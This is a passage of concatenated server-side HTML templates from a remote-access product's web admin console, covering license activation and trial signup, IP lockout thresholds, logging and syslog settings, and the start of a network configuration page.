return false;
}
return true;
}
</script>

<?switch LICENSE.STEP?>
<?// ================================================================================ ?>
<?case "show"?>

<?
action "rainfo"
if LICENSE.EXPIRED
redirect TEMPLATE "?step=buyra&expired=yes&" RND
endif
?>

<?if LICENSE.VALID?>

<fieldset>
<?if LICENSEES?>
&MSG.INFO.LICENSE.TO&:<br>
<?enum LICENSEES?>&nbsp;&nbsp;&nbsp;<font color="<?&COLOR.Link?>"><b>&LICENSEE.NAME&</b></font><br><?next?>
<?endif?>
&MSG.INFO.LICENSE:LICENSE.TYPE&<br>
</fieldset>

<?else?>
<?usemacro SHOWLICENSEERROR()?>
<?endif?>

<br>&nbsp;<br>

<?if LICENSE.TRIAL?>
<?if not LICENSE.WEBSVC and not Cfg.Appearance.NoExternalLinks="1"?>
<input class="button" type="button" value="&MSG.CONFIG.LICENSE.PURCHASE.BUTTON&" onclick="window.location='$TEMPLATE$?step=buyra'">
<?endif?>
<?endif?>
<input class="button" type="button" value="&MSG.CONFIG.LICENSE.CHGLICENSE&" onclick="window.location='$TEMPLATE$?step=change'">

<?// ================================================================================ ?>
<?case "splash"?>

<?
if LICENSE.EXPIRED
redirect TEMPLATE "?step=show&" RND
endif
// get license details
action "rainfo"
?>

<p><big><b>&MSG.INFO.TRIAL.TITLE&</b></big></p>

<p>&MSG.INFO.TRIAL.INTRO&</p>
<p>&MSG.INFO.TRIAL.COUNT&</p>

<p>
<?if REQ.NEXTPAGE?>
<input class="button" type="button" value="&MSG.DIALOG.CONTINUE&" onclick="window.location='$REQ.NEXTPAGE$'">
<?endif?>
<?if not LICENSE.WEBSVC?>
<input class="button" type="button" value="&MSG.CONFIG.LICENSE.PURCHASE.BUTTON&" onclick="window.location='$TEMPLATE$?step=buyra'">
<?endif?>
<input class="button" type="button" value="&MSG.CONFIG.LICENSE.CHGLICENSE&" onclick="window.location='$TEMPLATE$?step=change'">
</p>

<?// ================================================================================ ?>
<?case "change" // page "1" of the flowchart?>

<h1>&MSG.CONFIG.LICENSE.INTRO.TITLE&</h1>

<?if NewInstall?><p>&MSG.CONFIG.LICENSE.INTRO.UNLICENSED&</p><?endif?>

<form action="&TEMPLATE&" method="get">
<table>
<tr valign="middle">
<td><input type="radio" name="step" id="step1" value="paste" <?checked not NewInstall?>></td>
<td><label for="step1">&MSG.CONFIG.LICENSE.INTRO.USERA&</label></td>
</tr>
<tr valign="middle">
<td><input type="radio" name="step" id="step2" value="buyra"></td>
<td><label for="step2">&MSG.CONFIG.LICENSE.INTRO.BUYRA&</label></td>
</tr>
<tr valign="middle">
<td><input type="radio" name="step" id="step3" value="tryramail" <?checked NewInstall?>></td>
<td><label for="step3">&MSG.CONFIG.LICENSE.INTRO.TRYRA&</label></td>
</tr>
<tr>
<td colspan="2" align="center"><br><input class="button" type="submit" value="&MSG.DIALOG.NEXT&"></td>
</tr>
</table>
</form>

<?// ================================================================================ ?>
<?case "tryramail"?>

<?
if REQ.SUBMIT
action "cfgtrialmail"
if WINERRNUM = "19040" // no license for this e-mail
redirect TEMPLATE "?step=tryra&email=" REQ.EMAIL "&product=" REQ.PRODUCT "&" RND
elseif WINERRNUM
usemacro WINERRDLG()
elseif LICENSE.ERROR
usemacro SHOWLICENSEERROR()
else
redirect TEMPLATE "?step=done&trial=" LICENSE.ID "&" RND
endif
endif

if REQ.EMAIL
set EMAIL = REQ.EMAIL
else if REGISTRATIONEMAIL
set EMAIL = REGISTRATIONEMAIL
endif

if REQ.PRODUCT
set PRODUCT = REQ.PRODUCT
else if REGISTRATIONPRODUCT
set PRODUCT = REGISTRATIONPRODUCT
endif
?>

<form action="&TEMPLATE&" method="post">
<input type="hidden" name="step" value="tryramail">
<input type="hidden" name="checkmail" value="1">

<h1>&MSG.CONFIG.LICENSE.TRIAL.TITLE&</h1>

<p>&MSG.CONFIG.LICENSE.TRIAL.INTROMAIL&</p>

<fieldset>
<table>
<col width="40%" align="right">
<col width="60%" align="left">
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.EMAIL&:</b></td>
<td><input type="text" name="email" value="&EMAIL&" size="30"></td>
</tr>
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.PRODUCT&:</b></td>
<td>
<?if IsNtSrv?>
&MSG.CONFIG.LICENSE.TRIAL.PRODUCT.SE&
<input type="hidden" name="product" value="se">
<?else?>
<?set default REQ.PRODUCT="ee"?>
<select name="product" size="1">
<option value="se" <?selected REQ.PRODUCT="se"?>>&MSG.CONFIG.LICENSE.TRIAL.PRODUCT.SE&
<option value="ee" <?selected REQ.PRODUCT="ee"?>>&MSG.CONFIG.LICENSE.TRIAL.PRODUCT.EE&
</select>
<a href="dotcom.vcgi?target=producttypes" target="_blank"><img src="img/menu_info.gif"
alt="&MSG.DIALOG.HINT&" align="absmiddle" title="&MSG.CONFIG.LICENSE.TRIAL.PRODUCT.HINT&" border="0"></a>
<?endif?>
</td>
</tr>
</table>
</fieldset>

<br>&nbsp;<br>

<table width="90%">
<tr>
<td align="left"><input class="button" type="button" value="&MSG.DIALOG.PREV&" onclick="window.location='$TEMPLATE$?step=change'"></td>
<td align="right"><input class="button" type="submit" name="submit" value="&MSG.DIALOG.NEXT&"></td>
</tr>
</table>

</form>

<?// ================================================================================ ?>
<?case "tryra" // page "7" of the flowchart?>

<?
if REQ.SUBMIT
action "cfgtrial"
if WINERRNUM
usemacro WINERRDLG()
elseif LICENSE.ERROR
usemacro SHOWLICENSEERROR()
else
redirect TEMPLATE "?step=done&trial=" LICENSE.ID "&" RND
endif
endif

if not REQ.EMAIL or not REQ.PRODUCT
redirect TEMPLATE "?step=tryramail&email=" REQ.EMAIL "&product=" REQ.PRODUCT "&" RND
endif
?>

<script language="JavaScript">
function chkform(form) {
return chk(form.product) && chk(form.email) && chk(form.fname) && chk(form.lname)
&& chk(form.phone) && chk(form.company) // && chk(form.zipcode)
&& chk(form.country) && chk(form.scope);
}
//function showTipHostId(e) {
//	showTip(e,'$MSG.CONFIG.LICENSE.TRIAL.HOSTID.DESC$',false,'IMG')
//}
</script>
<form action="&TEMPLATE&" method="post" onsubmit="return chkform(this)">
<input type="hidden" name="step" value="&LICENSE.STEP&">
<input type="hidden" name="email" value="&REQ.EMAIL&">
<input type="hidden" name="product" value="&REQ.PRODUCT&">

<h1>&MSG.CONFIG.LICENSE.TRIAL.TITLE&</h1>

<p>&MSG.CONFIG.LICENSE.TRIAL.INTRO&</p>

<fieldset>
<table>
<col width="40%" align="right">
<col width="60%" align="left">
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.EMAIL&:</b></td>
<td>&REQ.EMAIL&</td>
</tr>
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.PRODUCT&:</b></td>
<td>&MSG.CONFIG.LICENSE.TRIAL.PRODUCT:REQ.PRODUCT&</td>
</tr>
<tr><td>&nbsp;</td></tr>
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.FNAME&:</b></td>
<td><b><input type="text" name="fname" value="&REQ.FNAME&" size="15"></b></td>
</tr>
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.LNAME&:</b></td>
<td><input type="text" name="lname" value="&REQ.LNAME&" size="15"></td>
</tr>
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.COMPANY&:</b></td>
<td><input type="text" name="company" value="&REQ.COMPANY&" size="20"></td>
</tr>
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.STATE&:</b></td>
<td><?action "usstatelist"?>
<select name="state" size="1">
<option value="" selected="selected">Choose</option>
<?enum USSTATES?><option value="&USSTATE.CODE&">&USSTATE.NAME&</option><?next?>
</select>
</td>
<!--td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.ZIPCODE&:</b></td>
<td><input type="text" name="zipcode" value="&REQ.ZIPCODE&" size="10"></td-->
</tr>
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.COUNTRY&:</b></td>
<td><?action "ctrylist"?><?set default REQ.COUNTRY=SRVCOUNTRY?>
<select name="country" size="1">
<option value="">
<?enum COUNTRIES?><option value="&COUNTRY.CODE2&"<?selected COUNTRY.CODE2=REQ.COUNTRY?>>&COUNTRY.NAME&<?next?>
</select>
</td>
</tr>
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.PHONE&:</b></td>
<td><input type="text" name="phone" value="&REQ.PHONE&" size="15"></td>
</tr>
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.SCOPE&:</b></td>
<td>
<input type="radio" id="scopeh" name="scope" value="h" <?checked REQ.SCOPE="h"?>><label for="scopeh">&MSG.CONFIG.LICENSE.TRIAL.SCOPE.H&</label>
<input type="radio" id="scopeo" name="scope" value="o" <?checked REQ.SCOPE="o"?>><label for="scopeo">&MSG.CONFIG.LICENSE.TRIAL.SCOPE.O&</label>
</td>
</tr>
<tr>
<td nowrap><b>&MSG.CONFIG.LICENSE.TRIAL.HOSTID&:</b></td>
<td><input type="text" name="hostid" value="&SRVUID&" size="38" readonly disabled>&nbsp;<img src="img/menu_info.gif" alt="&MSG.CONFIG.LICENSE.TRIAL.HOSTID.DESC&" align="absmiddle"></td>
</tr>
</table>
</fieldset>

<br>&nbsp;<br>

<table width="90%">
<tr>
<td align="left"><input class="button" type="button" value="&MSG.DIALOG.PREV&" onclick="window.location='$TEMPLATE$?step=tryramail&email=$REQ.EMAIL$&product=$REQ.PRODUCT$'"></td>
<td align="right"><input class="button" type="submit" name="submit" value="&MSG.DIALOG.NEXT&"></td>
</tr>
</table>

<p><b>&MSG.CONFIG.LICENSE.PRIVACY.TITLE&:</b> &MSG.CONFIG.LICENSE.PRIVACY.TEXT&</p>

</form>

<?// ================================================================================ ?>
<?case "buyra" // page "11" of the flowchart?>

<h1><?if REQ.EXPIRED?>&MSG.CONFIG.LICENSE.TRIAL.EXPIRED&<?else?>&MSG.CONFIG.LICENSE.PURCHASE.TITLE&<?endif?></h1>

<p>=MSG.CONFIG.LICENSE.PURCHASE.VISIT=</p>
<?if not Cfg.Appearance.NoExternalLinks="1"?>
<input class="button" type="button" value="&MSG.CONFIG.LICENSE.PURCHASE.BUTTON&" onclick="window.open('/dotcom.vcgi?target=buydirect')">
<?endif?>
<p>
<table>
<tr valign="top">
<td>&MSG.CONFIG.LICENSE.PURCHASE.SALES&</td>
<td>&nbsp;</td>
<td>
<?if Cfg.Appearance.NoExternalLinks="1"?>
&MSG.CONFIG.LICENSE.SALES.EMAIL&<br>
<?else?>
<a href="mailto:&MSG.CONFIG.LICENSE.SALES.EMAIL&">&MSG.CONFIG.LICENSE.SALES.EMAIL&</a><br>
<?endif?>
</td>
</tr>
</table>
</p>

<p>&MSG.CONFIG.LICENSE.PURCHASE.EXPLAIN&</p>

<table width="90%">
<tr>
<td align="left"><input class="button" type="button" value="&MSG.DIALOG.PREV&" onclick="window.location='$TEMPLATE$?step=change'"></td>
<td align="right"><input class="button" type="button" value="&MSG.DIALOG.NEXT&" onclick="window.location='$TEMPLATE$?step=paste'"></td>
</tr>
</table>

<?// ================================================================================ ?>
<?case "lost" // page "6" of the flowchart?>

<form action="&TEMPLATE&" method="get">
<p>&MSG.CONFIG.LICENSE.LOST.CHECKEMAIL&</p>

<p>&MSG.CONFIG.LICENSE.LOST.GETSUPPORT&</p>

<input class="button" type="button" value="&MSG.CONFIG.LICENSE.REQSUPPORT&" onclick="window.location='mailto:&RA.SUPPORT&?subject=where is my license'"><br>

<p>
=MSG.CONFIG.LICENSE.LOST.BUYONLINE=<br>
&nbsp;&nbsp;<a href="mailto:&MSG.CONFIG.LICENSE.SALES.EMAIL&">&MSG.CONFIG.LICENSE.SALES.EMAIL&</a><br>
&nbsp;&nbsp;&MSG.CONFIG.LICENSE.SALES.TEL1&<br>
&nbsp;&nbsp;&MSG.CONFIG.LICENSE.SALES.TEL2&<br>
</p>

<table width="90%">
<tr valign="middle"><td align="right" colspan="2"><label for="step1">&MSG.CONFIG.LICENSE.LOST.FOUND&&nbsp;</label><input type="radio" name="step" id="step1" value="paste" checked></td></tr>
<tr valign="middle"><td align="right" colspan="2"><label for="step2">&MSG.CONFIG.LICENSE.INTRO.TRYRA&&nbsp;</label><input type="radio" name="step" id="step2" value="tryra"></td></tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr>
<td align="left"><input class="button" type="button" value="&MSG.DIALOG.PREV&" onclick="window.location='$TEMPLATE$?step=paste'"></td>
<td align="right"><input class="button" type="submit" value="&MSG.DIALOG.NEXT&"></td>
</tr>
</table>
</form>


<?// ================================================================================ ?>
<?case "paste" // pages "2" and "5" of the flowchart?>

<form action="&TEMPLATE&" method="post">
<?
action "cfglicense"
if WINERRNUM
usemacro WINERRDLG()
elseif LICENSE.ERROR
usemacro SHOWLICENSEERROR()
elseif REQ.LICENSETEXT
redirect TEMPLATE "?step=done&" RND
else
?><h1>&MSG.CONFIG.LICENSE.PASTE.TITLE&</h1><?
endif
?>
<table>
<tr>
<td>&MSG.CONFIG.LICENSE.PASTE.TEXT&</td>
</tr>
<tr>
<td><textarea name="licensetext" rows="27" cols="76" maxlength="16384" onfocus="select()">&LICENSE.TEXT&</textarea></td>
</tr>
</table>
<br>
<table width="90%">
<?if REQ.LICENSETEXT?>
<tr valign="middle"><td align="right" colspan="3"><label for="step1">&MSG.CONFIG.LICENSE.PASTE.RETRY&&nbsp;</label><input type="radio" name="step" id="step1" value="&LICENSE.STEP&" checked></td></tr>
<tr valign="middle"><td align="right" colspan="3"><label for="step2">&MSG.CONFIG.LICENSE.INTRO.TRYRA&&nbsp;</label><input type="radio" name="step" id="step2" value="tryra"></td></tr>
<tr><td colspan="3">&nbsp;</td></tr>
<?else?>
<input type="hidden" name="step" value="&LICENSE.STEP&">
<?endif?>
<tr>
<td align="left"><input class="button" type="button" value="&MSG.DIALOG.PREV&" onclick="window.location='$TEMPLATE$?step=change'"></td>
<td align="center"><?if not LICENSE.TEXT?><a href="&TEMPLATE&?step=lost">I don't have a license</a><?endif?></td>
<td align="right"><input class="button" type="submit" value="&MSG.DIALOG.NEXT&"></td>
</tr>
</table>
</form>

<?// ================================================================================ ?>
<?case "done"?>
<?
if REQ.RESTART
action "restart" REQ.TYPE="ra"
if WINERRNUM
usemacro WINERRDLG()
else
redirect "default.html?logout=yes&reason=restart&startuptime=" SRVSTARTUPTIME
endif
endif
action "rainfo"
?>

<h1><img src="img/sr_pref.png?bg=%COLOR.DlgBack%" align="absmiddle">&nbsp;&MSG.CONFIG.LICENSE.PASTE.OK&</h1>
&nbsp;<br>
&MSG.CONFIG.NEEDRESTART&<br>
&nbsp;<br>
<form action="&TEMPLATE&" target="_top">
<input type="hidden" name="step" value="&LICENSE.STEP&">
<input type="hidden" name="restart" value="yes">
<input class="button" type="submit" value="&MSG.ADMIN.REBOOT.RESTARTTITLE&">
<br><br>&MSG.CONFIG.LICENSE.RESTARTNOTE&<br><br>
</form>

<?// ================================================================================ ?>
<?case "overuse"?>

<?action "rainfo"?>
<p><b>&MSG.INFO.LICENSE.OVERUSE&</b></p>
<p>
<?if PEERS?>
<table class="inner">
<tr><th colspan="2">&MSG.INFO.LICENSE.OVERUSE.LIST&</th></tr>
<?enum PEERS?>
<tr><td>&PEER.NAME&</td><td>&PEER.ADDR&</td></tr>
<?next?>
</table>
<?endif?>
</p>
<input class="button" type="button" value="&MSG.CONFIG.LICENSE.CHGLICENSE&" onclick="window.location='$TEMPLATE$?step=paste'">


<?// ================================================================================ ?>
<?endswitch?>

<?endif?>

<?if NewInstall?>
</fieldset>
<?endif?>

</center>
</div>
<?if NOT LORES?></div><?endif?>

</body>
</html>
8cfglockout.htmlj <?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("secure")?><span class="titleText">&CONFIG.IPLOCKOUT.TITLE&</span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%CONFIG.IPLOCKOUT.TITLE%&favicon=menu_secure.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<?
action "lockout"
usemacro WINERRDLG()
?>
<center><br>
<?if LOCKOUTMSG?><b>&CONFIG.IPLOCKOUT:LOCKOUTMSG&</b><br><?endif?>
<form action="&TEMPLATE&" method="post">
<?if REQ.BACK?><input type="hidden" name="back" value="&REQ.BACK&"><?endif?>
<input type=hidden name="OP" value="update">
<br>
<fieldset>
<legend>&INFO.LOCKOUT.DOS&</legend>
<br>
<table width="90%">
<tr>
<td width="55%" align="right">&CONFIG.IPLOCKOUT.ENABLED&</td>
<td><input type=checkbox name="DOSENABLED" value="1" =DOSENABLED= <?disabled DOSENABLED.LOCKED?>></td>
</tr><tr>
<td align="right">&CONFIG.IPLOCKOUT.DOSCOUNT&:</td>
<td><input type=text name="DOSCOUNT" value="&DOSCOUNT&" <?disabled DOSCOUNT.LOCKED?>></td>
</tr><tr>
<td align="right">&CONFIG.IPLOCKOUT.DOSRESET&:</td>
<td><input type=text name="DOSRESET" value="<?&DOSRESET _spn?>" <?disabled DOSRESET.LOCKED?>>&nbsp;(&MSG.SPNFMT&)</td>
</tr><tr>
<td align="right">&CONFIG.IPLOCKOUT.LOCKOUT&:</td>
<td><input type=text name="DOSLOCKOUT" value="<?&DOSLOCKOUT _spn?>" <?disabled DOSLOCKOUT.LOCKED?>>&nbsp;(&MSG.SPNFMT&)</td>
</tr>
</table><br><br>
<?if LOCKOUT.DOSS?>
<?&INFO.LOCKOUT.LOCKEDOUT?>:<br>
<table class="inner">
<tr>
<th>
&INFO.LOCKOUT.IP&</th>
<th>
&INFO.LOCKOUT.EXPIRE&</th>
<th>
&MSG.DIALOG.DELETE&</th>
</tr>
<?enum LOCKOUT.DOSS?>
<tr>
<td>
&LOCKOUT.DOS.IP&
</td>
<td>
<?&LOCKOUT.DOS.EXPIRATION _in?>
</td>
<td align="center">
<a href="&TEMPLATE&?OP=deldos&IP=%LOCKOUT.DOS.IP%"><img border=0 src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%" width=16 height=16></a>
</td>
</tr>
<?next?>
</table>
<?else?> 
<table><tr><td align=center><?&INFO.LOCKOUT.NONE?></td></tr></table>
<?endif?>
<br><br></fieldset>
<br><br>
<fieldset>
<legend>&INFO.LOCKOUT.LOGON&</legend>
<br>
<table width="90%">
<tr>
<td width="55%" align="right">&CONFIG.IPLOCKOUT.ENABLED&</td>
<td><input type=checkbox name="LOGONENABLED" value="1" =LOGONENABLED= <?disabled LOGONENABLED.LOCKED?>></td>
</tr><tr>
<td align="right">&CONFIG.IPLOCKOUT.COUNT&:</td>
<td><input type=text name="LOGONCOUNT" value="&LOGONCOUNT&" <?disabled LOGONCOUNT.LOCKED?>></td>
</tr><tr>
<td align="right">&CONFIG.IPLOCKOUT.RESET&:</td>
<td><input type=text name="LOGONRESET" value="<?&LOGONRESET _spn?>" <?disabled LOGONRESET.LOCKED?>>&nbsp;(&MSG.SPNFMT&)</td>
</tr><tr>
<td align="right">&CONFIG.IPLOCKOUT.LOCKOUT&:</td>
<td><input type=text name="LOGONLOCKOUT" value="<?&LOGONLOCKOUT _spn?>" <?disabled LOGONLOCKOUT.LOCKED?>>&nbsp;(&MSG.SPNFMT&)</td>
</tr>
</table><br><br>
<?if LOCKOUT.LOGONS?>
<?&INFO.LOCKOUT.LOCKEDOUT?>:<br>
<table class="inner">
<tr>
<th>
&INFO.LOCKOUT.IP&</th>
<th>
&INFO.LOCKOUT.EXPIRE&</th>
<th>
&MSG.DIALOG.DELETE&</th>
</tr>
<?enum LOCKOUT.LOGONS?>
<tr>
<td>
&LOCKOUT.LOGON.IP&
</td>
<td>
<?&LOCKOUT.LOGON.EXPIRATION _in?>
</td>
<td align="center">
<a href="&TEMPLATE&?OP=dellogon&IP=%LOCKOUT.LOGON.IP%"><img border=0 src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%" width=16 height=16></a>
</td>
</tr>
<?next?>
</table>
<?else?> 
<table><tr><td align=center><?&INFO.LOCKOUT.NONE?></td></tr></table>
<?endif?>
<br><br></fieldset><br><br>
<table><tr><td align=center>
<input type=submit value="&DIALOG.APPLY&">
<?if UI="secrem"?>
<?if REQ.BACK?>&nbsp;<input type="button" value="&DIALOG.BACK&" onclick="window.location='$REQ.BACK$'"><?endif?>
<?endif?>
</td></tr></table>
<br>
</form>
</center>
</div>
</body>
</html>
*cfglog.htmlPc<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "dirtree.inc"?>
</head>

<body>
<?
action "cfglog"
usemacro WINERRDLG()
?>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.LOG.TITLE&<?if MSG?> - &CONFIG.TELNET:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.CONFIG.LOG.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center>
<form action="&TEMPLATE&" method="post">
<input type="hidden" name="op" value="update">
<input type="hidden" name="restart" value="">

<?if REQ.RESTART?>

&MSG.CONFIG.NEEDRESTART&<br><br>
<input type="button" value="&MSG.ADMIN.REBOOT.RESTARTTITLE&" onclick="window.location='restart.html?type=ra'"><br><br>

<?else?>

<script language="JavaScript">
function rr(inp) { inp.form.restart.value='yes'; }
</script>
<br>
<fieldset><legend>&MSG.CONFIG.LOG.GENERALSETTINGS&</legend><br>
<table width="90%">
<col align="right" width="30%">
<col align="left">
<tr valign="top">
<td>&MSG.CONFIG.LOG.ArchivalDays&</td>
<td><input type="text" name="ArchivalDays" value="&ArchivalDays&" onchange="rr(this)" <?disabled ArchivalDays.LOCKED?>></td>
</tr>
<tr valign="top">
<td>&MSG.CONFIG.LOG.Directory&</td>
<td><input type="text" name="Directory" value="&Directory&" size="40" onchange="rr(this)" title="&MSG.CONFIG.LOG.DirectoryExplain&" <?disabled Directory.LOCKED?>>
<?if not Directory.LOCKED
usemacro BrowseButton("document.forms[0].Directory.value")
endif?>
</td>
</tr>
<tr>
<td></td>
<td>&MSG.CONFIG.LOG.DirectoryExplain&</td>
</tr>
</table><br>
</fieldset>

<?if not ISUNIX?>
<br><br>
<fieldset><legend>&MSG.CONFIG.ODBC.TITLE&</legend><br>
<table width="90%">
<col align="right" width="30%">
<col align="left">
<tr>
<td>&MSG.CONFIG.LOG.EnableODBC&</td>
<td><input type="checkbox" name="EnableODBC" value="1" &EnableODBC& onchange="rr(this)" <?disabled EnableODBC.LOCKED?>></td>
</tr>
</table><br>
<a href="cfgodbc.html?%RND%">&MSG.CONFIG.LOG.EnableODBCExplain&</a><br><br>
</fieldset>
<?endif?>

<br><br>
<fieldset><legend>&MSG.CONFIG.LOG.SYSLOGSETTINGS&</legend><br>
<table width="90%">
<col align="right" width="30%">
<col align="left">
<tr>
<td>&MSG.CONFIG.LOG.EnableSysLog&</td>
<td><input type=checkbox name="EnableSysLog" value=1 &EnableSysLog& onchange="rr(this)" <?disabled EnableSysLog.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.LOG.SysLogHost&</td>
<td><input type=text name="SysLogHost" value="&SysLogHost&" onchange="rr(this)" <?disabled SysLogHost.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.LOG.SysLogUseTCP&</td>
<td><select name="SysLogUseTCP" onchange="rr(this)" <?disabled SysLogUseTCP.TCP.LOCKED?>>
<option value=0 &SysLogUseTCP.UDP&>UDP</option>
<option value=1 &SysLogUseTCP.TCP&>TCP</option>
</select></td>
</tr>
<tr>
<td>&MSG.CONFIG.LOG.SysLogUDPPort&</td>
<td><input type="text" name="SysLogUDPPort" value="&SysLogUDPPort&" onchange="rr(this)" <?disabled SysLogUDPPort.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.LOG.SysLogTCPPort&</td>
<td><input type="text" name="SysLogTCPPort" value="&SysLogTCPPort&" onchange="rr(this)" <?disabled SysLogTCPPort.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.LOG.SysLogUseFacility&</td>
<td><select name="SysLogUseFacility" onchange="rr(this)" <?disabled SysLogUseFacility.LOCKED?>>
<option value=01 &SysLogUseFacility.01&>Kernel</option>
<option value=02 &SysLogUseFacility.02&>User</option>
<option value=03 &SysLogUseFacility.03&>Mail</option>
<option value=04 &SysLogUseFacility.04&>Daemon</option>
<option value=05 &SysLogUseFacility.05&>Auth</option>
<option value=06 &SysLogUseFacility.06&>Syslog</option>
<option value=07 &SysLogUseFacility.07&>Lpr</option>
<option value=08 &SysLogUseFacility.08&>News</option>
<option value=09 &SysLogUseFacility.09&>UUCP</option>
<option value=10 &SysLogUseFacility.10&>Cron</option>
<option value=11 &SysLogUseFacility.11&>Security</option>
<option value=12 &SysLogUseFacility.12&>FTP Daemon</option>
<option value=13 &SysLogUseFacility.13&>NTP</option>
<option value=14 &SysLogUseFacility.14&>Log audit</option>
<option value=15 &SysLogUseFacility.15&>Log alert</option>
<option value=16 &SysLogUseFacility.16&>Clock Daemon</option>
<option value=17 &SysLogUseFacility.17&>Local0</option>
<option value=18 &SysLogUseFacility.18&>Local1</option>
<option value=19 &SysLogUseFacility.19&>Local2</option>
<option value=20 &SysLogUseFacility.20&>Local3</option>
<option value=21 &SysLogUseFacility.21&>Local4</option>
<option value=22 &SysLogUseFacility.22&>Local5</option>
<option value=23 &SysLogUseFacility.23&>Local6</option>
<option value=24 &SysLogUseFacility.24&>Local7</option>
</select></td>
</tr>
</table><br>
</fieldset>

<?if UseRemctrlScreenRecording ?>
<br><br>
<fieldset><legend>&MSG.CONFIG.REMCTRL.ScreenRecording&</legend>
<table width="90%">
<col align="right" width="30%">
<col align="left">
<tr>
<td colspan="2" align="left">
<br>
&MSG.CONFIG.REMCTRL.ScreenRecordingReq&
<br><br>
</td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.ScreenRecordingOn&</td>
<td><input type="checkbox" name="EnableScreenRecording" value="1" &EnableScreenRecording& <?disabled EnableScreenRecording.LOCKED?>></td>
</tr>
<?if ISNT?>
<tr>
<td>&MSG.CONFIG.REMCTRL.AutoConvertAVI&</td>
<td><input type="checkbox" name="AutoConvertAVI" value="1" &AutoConvertAVI& <?disabled AutoConvertAVI.LOCKED?>></td>
</tr>
<?endif?>
<tr>
<td>&MSG.CONFIG.REMCTRL.ScreenRecordingDirectory&</td>
<td><input type="text" name="ScreenRecordingDirectory" value="&ScreenRecordingDirectory&" title="&MSG.CONFIG.REMCTRL.ScreenRecordingDirectoryExplain&" <?disabled ScreenRecordingDirectory.LOCKED?>>
<?if not ScreenRecordingDirectory.LOCKED
usemacro BrowseButton("document.forms[0].ScreenRecordingDirectory.value")
endif?>
</td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.ScreenRecordingSize&</td>
<td><input type="text" name="ScreenRecordingSize" value="&ScreenRecordingSize&" <?disabled ScreenRecordingSize.LOCKED?>> &MSG.CONFIG.REMCTRL.ScreenRecordingSizeExplain&</td>
</tr>
</table>
</fieldset>
<?endif?>
<br><br>

<input type="submit" value="&MSG.DIALOG.APPLY&">
<?if UI="secrem"?>
&nbsp;<input type="button" value="&DIALOG.BACK&" onclick="window.location='lmipref.html'">
<?endif?>
<br><br>
<font color="<?&COLOR.Link?>">&CONFIG.NEEDRESTART&</font>
<br><br>

<?endif // REQ.RESTART?>

</form></center>
</div>
</body>
</html>

kcfgnet.html*x<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
<style type="text/css">
p { margin: 2ex; }
</style>
</head>

<body>

<?
action "cfgnet"
if NOT SmtpTest AND NOT ProxyTest
usemacro WINERRDLG()
endif
?>

<div class="window">	
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText"><?if UITYPE = "LMI"?>&MSG.CONFIG.NET.TITLE.LMIPRO&<?else?>&MSG.CONFIG.NET.TITLE&<?endif?><?if MSG?> - &MSG.CONFIG.TELNET:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<?if USE.QUICKLINKS?>
<a href="title.html?favname=%MSG.CONFIG.NET.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<?endif?>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center>
<form action="&TEMPLATE&" method="post">
<input type="hidden" name="submit" value="1">
<input type="hidden" name="restart" value="">

<?if REQ.RESTART and NOT WINERRMSG?>

&MSG.CONFIG.NEEDRESTART&<br><br>
